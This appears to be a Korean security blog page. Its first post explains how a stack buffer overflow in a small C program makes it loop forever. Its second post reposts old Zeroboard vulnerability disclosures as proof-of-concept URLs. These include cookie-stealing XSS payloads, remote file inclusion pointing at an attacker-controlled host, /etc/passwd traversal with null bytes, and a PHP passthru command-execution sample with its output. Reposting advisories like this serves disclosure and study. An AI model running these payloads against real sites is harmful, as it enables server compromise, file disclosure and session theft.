Overflow로 인한 무한루프 Reverse Engineering


cygwin 환경에서 Overflow 시 무한루프가 발생하는 것을 발견하였다.


gcc버전은 3.4.5이다. 이 코드를 단순하게 컴파일 하고 실행한다.
파라미터를 넣어서 실행해 본다

Overflow가 buffer를 넘어 ebp 까지만을 덮을 것이다.

실행 결과 무한 루프가 발생하는 것을 볼 수 있다.

원인을 살피기 위해서 디버거에서 인수값을 28개만 주고 열어준다.

이 부분에서 strcpy 함수를 실행하고 printf 함수로 "test\n"란 문자열을 화면에 찍어줄 것이다.

버퍼를 보면 알겠지만 ebp 까지 덮어써졌다.

그런데 이 그림은 printf 함수를 실행하고 나서 다시 실행될 때의 캡쳐화면이다.

0x0022FF4C를 살펴보면 이 부분이 RET(Return Address) 주소 값인데

중요한 것은 파라미터 값이 덮어 씌어질 때 31323334~~~38 (문자열 28개)가 들어가고

그 다음에 "0x00" (문자열이 종료되는 것을 알려주는 NULLl pointer)가 들어간다는 사실이다.

그래서 RET가 0x40124B에서 0x401200으로 변경되고 프로그램은 0x40120부터 다시 실행 되는 것이다.

그래서 무한 루프가 된다.

무한 루프가 발생하는 것이 신기해서 "NULL"이 들어가는 것을 생각하지 못하고 분석해 보았다.

워낙 쉬운내용이라 기술적인 내용은 없고 재미로 올려본다 ^^

지난 zeroboard 취약점 2 Web Security


지난 제로보드 취약점 Web Security

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/


■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/


■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00


■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(document.cookie)</sc
ript>


■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------


■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a


방화벽 API Windows Related


Certified Ethical Hacker V6 Videos Etc


ECSA LP Etc


윤리적 해커 Etc


1 2 3 4 5 6 7 8 9 10 다음